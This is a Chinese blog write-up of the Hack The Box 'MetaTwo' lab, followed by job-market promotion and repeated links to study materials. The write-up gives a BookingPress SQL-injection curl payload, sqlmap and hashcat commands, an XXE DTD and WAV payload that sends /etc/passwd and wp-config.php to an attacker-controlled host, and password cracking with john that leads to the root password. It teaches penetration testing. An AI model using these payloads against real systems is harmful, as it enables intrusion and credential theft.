靶场笔记-HTB Metatwo

原创 已于 2024-01-10 19:13:33 修改 · 306 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#笔记

于 2023-08-15 11:30:00 首次发布

一、常规nmap扫描

  • 发现开放了21,22,80端口
    image

二、80端口渗透

  • 先访问其80端口对应的网站，发现为WordPress
    image

  • 直接使用WPScan扫描一下，但是并未发现有用的信息
    image

  • 翻看网页源代码，发现其使用了bookingpress插件
    image

  • 通过搜索发现bookingpress存在sql注入漏洞
    地址：https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357（CVE-2022-0739）

    sudo curl -i ‘http://metapress.htb/wp-admin/admin-ajax.php’ --data ‘action=bookingpress_front_get_category_services&_wpnonce=5a84303f70&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -’

image

  • 可以加上命令-x http://127.0.0.1:8080与burp联动进行手工sql注入，也可以选择SQLmap，这里为了方便使用sqlmap自动注入
    sqlmap -r surp.txt -p total_service
    获取到该数据库内的用户名和密码，但是密码为加密需要破解
    image

  • 使用hashcat破解hash值，查询 P P P特征的hashcat代码为m
    sudo hashcat -m 400 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BzmTS682-1692028492983)(https://image.3001.net/images/20230206/1675698318_63e1208e758a9e619bdc5.png!small)]
    解出结果为： P P PB4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
    image

  • 利用得到的用户名密码尝试登陆ssh和ftp均失败，通过扫描网站目录发现其后台登录入口，使用manager：partylikearockstar登陆成功
    image

三、WordPress框架xxe漏洞利用

通过搜索WordPress版本号，发现此版本存在XXE漏洞
地址：https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

  • web服务器搭建dtd利用文件

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

  • 生成payload.wav

    echo -en ‘RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?>%remote;%init;%trick;]>\x00’ > payload.wav

  • 利用PHP搭建一个临时web服务器

    php -S 0.0.0.0:9999

  • 上传payload.wav文件，成功后返回base64编码的/etc/passwd结果，利用kali自带base64解密

    echo -n ‘cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=’ | base64 -d > passwd

  • 解密后找到一个名为jnelson的用户，查询密码复用发现无效果

    cat passwd | grep /bin/bash

image

  • 由于之前扫描中发现该网站有Nginx，就顺势读取一下Nginx默认配置文件，发现有默认站点

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/nginx.conf"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

image

  • 访问默认站点根目录/etc/nginx/sites-enabled/default，并发现一个名为blog站点

    ┌──(root㉿kali)-[/home/kali/metatwo]
    └─# echo -en ‘c2VydmVyIHsKCglsaXN0ZW4gODA7CglsaXN0ZW4gWzo6XTo4MDsKCglyb290IC92YXIvd3d3L21ldGFwcmVzcy5odGIvYmxvZzsKCglpbmRleCBpbmRleC5waHAgaW5kZXguaHRtbDsKCiAgICAgICAgaWYgKCRodHRwX2hvc3QgIT0gIm1ldGFwcmVzcy5odGIiKSB7CiAgICAgICAgICAgICAgICByZXdyaXRlIF4gaHR0cDovL21ldGFwcmVzcy5odGIvOwogICAgICAgIH0KCglsb2NhdGlvbiAvIHsKCQl0cnlfZmlsZXMgJHVyaSAkdXJpLyAvaW5kZXgucGhwPyRhcmdzOwoJfQogICAgCglsb2NhdGlvbiB+IFwucGhwJCB7CgkJaW5jbHVkZSBzbmlwcGV0cy9mYXN0Y2dpLXBocC5jb25mOwoJCWZhc3RjZ2lfcGFzcyB1bml4Oi92YXIvcnVuL3BocC9waHA4LjAtZnBtLnNvY2s7Cgl9CgoJbG9jYXRpb24gfiogXC4oanN8Y3NzfHBuZ3xqcGd8anBlZ3xnaWZ8aWNvfHN2ZykkIHsKCQlleHBpcmVzIG1heDsKCQlsb2dfbm90X2ZvdW5kIG9mZjsKCX0KCn0K’ | base64 -d
    server {

        listen 80;
    listen [::]:80;

    root /var/www/metapress.htb/blog;

    index index.php index.html;

    if ($http_host != "metapress.htb") {
            rewrite ^ http://metapress.htb/;
    }

    location / {
            try_files $uri $uri/ /index.php?$args;
    }

    location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
    }

    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
            expires max;
            log_not_found off;
    }

    }

  • 继续访问blog站点的配置文件，成功获取到FTP用户名和密码metapress.htb：9NYS_ii@FyL_p5M2NvJ

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.7:9999/?p=%file;'>" >

返回的信息如下

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

四、FTP渗透

  • 利用刚刚获取到的用户名和密码登录到FTP，浏览根目录，发现有两个文件夹，blog文件夹为网站源码，经分析无可利用点；mailer文件夹有可利用点
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WYTdRCw8-1692028492986)(https://image.3001.net/images/20230206/1675699176_63e123e80ded8b215372e.png!small)]

  • 访问mailer文件夹，发现一个名为send_emai.php文件，下载到本地查看
    image
    image

  • 浏览send_email.php，发现另一组用户名密码jnelson：Cb4_JmWM8zUZWMu@Ys，具体信息如下

    ┌──(root㉿kali)-[/home/kali/metatwo]
    └─# cat send_email.php

    <?php /* * This script will be used to send an email to all our users when ready for launch */ use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; require 'PHPMailer/src/Exception.php'; require 'PHPMailer/src/PHPMailer.php'; require 'PHPMailer/src/SMTP.php'; $mail = new PHPMailer(true); $mail->SMTPDebug = 3; $mail->isSMTP(); $mail->Host = "mail.metapress.htb"; $mail->SMTPAuth = true; $mail->Username = "jnelson@metapress.htb"; $mail->Password = "Cb4_JmWM8zUZWMu@Ys"; $mail->SMTPSecure = "tls"; $mail->Port = 587; $mail->From = "jnelson@metapress.htb"; $mail->FromName = "James Nelson"; $mail->addAddress("info@metapress.htb"); $mail->isHTML(true); $mail->Subject = "Startup"; $mail->Body = "We just started our new blog metapress.htb!"; try { $mail->send(); echo "Message has been sent successfully"; } catch (Exception $e) { echo "Mailer Error: " . $mail->ErrorInfo; }

五、提权

  • 利用刚才获得的用户名密码进行ssh连接，获取第一组flag

  • 第二组flag需要获取root权限才能获取，这里进行提权操作，通过查看当前目录文件，发现.passpie，查询得知这是一个密码管理应用，并保存有root账户密码
    image
    image

  • 这里的密码都为加密后的，经查利用.keys可以解出passpie的密码
    image

  • 将从.keys获取到的密钥中的私钥部分保存为rootpass.txt,利用gpg2john把rootpass.txt转换成rootpass.john

    ┌──(root㉿kali)-[/home/kali/metatwo]
    └─# gpg2john rootpass.txt > rootpass.john

  • 利用john解密，解出passpie密码为blink182

    ┌──(root㉿kali)-[/home/kali/metatwo]
    └─# john -w=/usr/share/wordlists/rockyou.txt rootpass.john

image、

  • passpie导出明文密码，命令如下

    jnelson@meta2:~$ touch pass
    jnelson@meta2:~$ passpie export pass
    jnelson@meta2:~$ cat pass
    credentials:

    • comment: ‘’
      fullname: root@ssh
      login: root
      modified: 2022-06-26 08:58:15.621572
      name: ssh
      password: !!python/unicode ‘p7qfAZt4_A1xo_0x’
    • comment: ‘’
      fullname: jnelson@ssh
      login: jnelson
      modified: 2022-06-26 08:58:15.514422
      name: ssh
      password: !!python/unicode ‘Cb4_JmWM8zUZWMu@Ys’
      handler: passpie
      version: 1.0

    成功得到root用户密码为p7qfAZt4_A1xo_0x

  • 切换root用户获取第二组flag
    image

lson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode ‘Cb4_JmWM8zUZWMu@Ys’
handler: passpie
version: 1.0

成功得到root用户密码为p7qfAZt4_A1xo_0x
  • 切换root用户获取第二组flag
    [外链图片转存中…(img-dGHC1l5u-1692028492988)]

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

2023届全国高校毕业生预计达到1158万人，就业形势严峻；

国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f0SdIyas-1692028492989)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20230809162658551.png)]

“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

img

2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KLimYp2C-1692028492989)(C:\Users\Administrator\Desktop\网安思维导图\享学首创年薪40W+网络安全工程师 青铜到王者技术成长路线V4.0.png)]

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7nUiqFqa-1692028492989)(C:\Users\Administrator\Desktop\网安资料截图\视频课件.jpeg)]

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取
如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

Hercules-HTB-writeUp
10-23
在本文中，我们将深入探讨Hercules-HTB-writeUp的相关扫描结果，涵盖大量涉及活动目录（Active Directory）中对象权限和角色的详细信息。通过对给定内容的细致分析，我们可以发现这是一系列与活动目录安全相关的具体...
armageddon-htb
04-01
【压缩包子文件的文件名称列表】：“armageddon-htb-main”可能是这个挑战的主要资料或配置文件，包含了攻防过程中所需的详细信息，如IP地址、初始凭证、端口扫描结果、漏洞利用脚本、系统日志等。挑战者可能需要...
靶场笔记-HTB Encoding
Timerings的博客
02-17 317
Hack The Box实战靶场，Encoding靶机，HTB官方难度评级为medium,涉及知识点：php代码审计，LFI漏洞，SSRF利用，.git源码泄露及利用，PHP filters chain RCE技术，sudo提权等。
靶场笔记-HTB Broscience
Timerings的博客
02-11 433
Hack The Box实战靶场，BroScience笔记
靶场笔记-HTB Soccer
Timerings的博客
02-11 423
Hack The Box实战靶场，Soccer笔记
HTB靶场笔记- PivotAPI
qq_61620566的博客
11-06 1195
非常经典的一次域渗透记录
赛季7靶场 -- Code -- HTB writeup（Just hint）
weixin_44368093的博客
03-26 978
这里可能有朋友会觉得奇怪，攻击的途中我们会发现tar指令压缩/var/../../../../root/的指令没有成功，这是因为tar并不支持/var/../../../../root/这种路径，我们必须给他一个没有../的路径。我查看了backy.sh的权限，可惜我没有写权限。那么我们尝试绕过，可以看到，他首先会检测/var/和/home/关键字，匹配不到直接不执行，那么我们的头部一定必须是/home/或/var/，所以自然我们就希望出现/var/../../../../root/这样的字段出现。
HTB 赛季8靶场 - Puppy
weixin_44368093的博客
05-20 3381
嗯哼如我们所料，我们成功拿取里面的文件。keepass2john无法正常使用，经过查询，我们发现了解决办法[[https://0xdf.gitlab.io/hackvent2024/hard#]]，我们使用keepass4brute.sh完成攻击，发现密码。接下来我们在全局来判定高价值用户，STEPH.COOPER_ADM这个用户显得非常有趣，我们将重点关注，看看他的权限情况。我们还发现一个有趣的点，我们发现user文件夹处，有ant这个用户，并且这个用户必adam权限要高，只是不能远程。
HTB 赛季8靶场 - CodeTwo
weixin_44368093的博客
08-19 1330
访问8000端口我们下载app 并注册账号登录账号，进入dashboard。
HTB 赛季8靶场 - Fluffy
weixin_44368093的博客
05-26 1752
我们拥有一个用户,首先进行Nmap扫描。
从0开始学渗透----HTB----Meow
yangmahaonan的博客
11-27 911
可以看到靶机只开放了23端口的talnet服务，查询可知Telnet是一种默认不加密的不安全协议，可以通过它连接到本地网络中的其他系统。这里我们选择第34个：auxiliary/scanner/telnet/telnet_login。接着我们尝试常见弱密码：admin/administrator/root或者空白登录。（两个txt文件都是自己写上去几个的，如果用正常字典的话跑的太慢啦！爆破成功得到用户名root，用telnet登录即可。查看文件成功拿到flag.ping通了进行下一步。
Javaweb 学习笔记——html+css
hssfscv的博客
12-18 911
以上是Javaweb中关于前端html和css的相关内容，主要制作了两个页面，了解了如何使用AI生成我们需要的内容，有利于了解前端知识，接下来将进行剩余前端知识的学习
TK_网络基础和常见攻击（笔记）
最新发布
汤小萌的博客
12-21 571
它确保内网中每一个IP地址的使用者都是经过授权、身份明确的设备，防止“内鬼”作乱。再vlan下启用user-bind报表检查（也可以在接口下，但是范围更小一些）它不信任外部来的报文，通过路径反查，过滤掉大量源IP不。没有命中的arp报文会认为是非法的而丢弃。真实（伪造）的攻击流量，如反射放大攻击。发送第一个数据包时进行拦截。企图毒化他人缓存时进行阻断。：按攻击发生的时间顺序。网络的第一步就进行控制。：在攻击者接入网络后，是否在同一个隔离组。
【算法笔记】AC自动机
u012559967的专栏
12-19 723
AC自动机: AC自动机是一种高效的多模式字符串匹配算法，它巧妙地将 Trie树的字典结构与 KMP算法的失配指针思想相结合，能同时在一段文本中查找多个模式串的所有出现位置，广泛应用于敏感词过滤、生物信息学序列分析等领域。在字符串匹配领域，我们会遇到两类问题：单模式匹配：给定一个文本字符串和一个模式字符串，判断模式字符串是否出现在文本字符串中。《【算法笔记】KMP算法》多模式匹配：给定一个文本字符串和多个模式字符串，判断所有模式字符串是否出现在文本字符串中。解决方案：AC自动机算法。
【大模型】happy-llm笔记
weixin_45207619的博客
12-16 177
今天看了这套课程的第二章到第四章的内容，对自己一直以来好奇的一些llm相关的问题有了解答。将我遇到的问题整理到下面，部分可能没有回答，感兴趣的同学可以去原课程查找。happy-llm是datawhale发布的一套关于llm的教程，链接。
MySQL 学习笔记（进阶篇2）
2302_79807388的博客
12-20 702
(1) 视图(View)是一种虚拟存在的表。视图中的数据并不在数据库中实际存在，行和列数据来自定义视图的查询中使用的表，并且是在使用视图时动态生成的。(2) 通俗的讲，视图只保存了查询的SQL逻辑，不保存查询结果。所以我们在创建视图的时候，主要的工作就落在创建这条SQL查询语句上。① 没有：不会检查当前视图的WHERE条件，即使数据不满足该条件，也能成功存入基表；但后续查询该视图时，这条不满足条件的数据不会在视图结果中显示② 有 check option：会按LOCALCASCADED。
学习笔记——写时复制（Copy-on-Write）
2301_78295956的博客
12-16 713
摘要：写时复制(COW)是一种延迟资源复制的优化技术，多个调用者初始共享同一资源，仅当修改时才创建副本。该技术通过引用计数和内存页保护实现透明操作，显著提升fork()等系统调用性能，减少内存占用。广泛应用于操作系统、编程语言和存储系统，虽存在首次写入延迟等缺点，但通过批量复制等优化策略可缓解。COW体现了"延迟优化"的设计思维，在资源节约和性能间取得平衡。
Agent 智能体的经典三范式——笔记
子墨将的博客
12-17 823
定义ReAction的交互规范提示词主要由以下部分组成角色：设定智能体的角色工具清单：掌握与外界交互的能力输出规范：【Thought】/【Action]，核心点，严格规范LLM以格式化输出，方便程序解析下一步行动该是思考，还是行动动态上下文：记录起始问题，以及过往的思考、行动结果# ReAct 提示词模板 REACT_PROMPT_TEMPLATE = """请注意，你是一个有能力调用外部工具的智能助手。
T-HTB网络流量管理工具开源发布
T-HTB Manager 是一个基于开源技术构建的网络流量控制与管理工具，其核心目标是为系统管理员提供一种可视化、易操作的方式来管理和优化 Linux 系统中的网络带宽分配。该项目以“T-HTB”为核心机制，结合了多种现代 ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值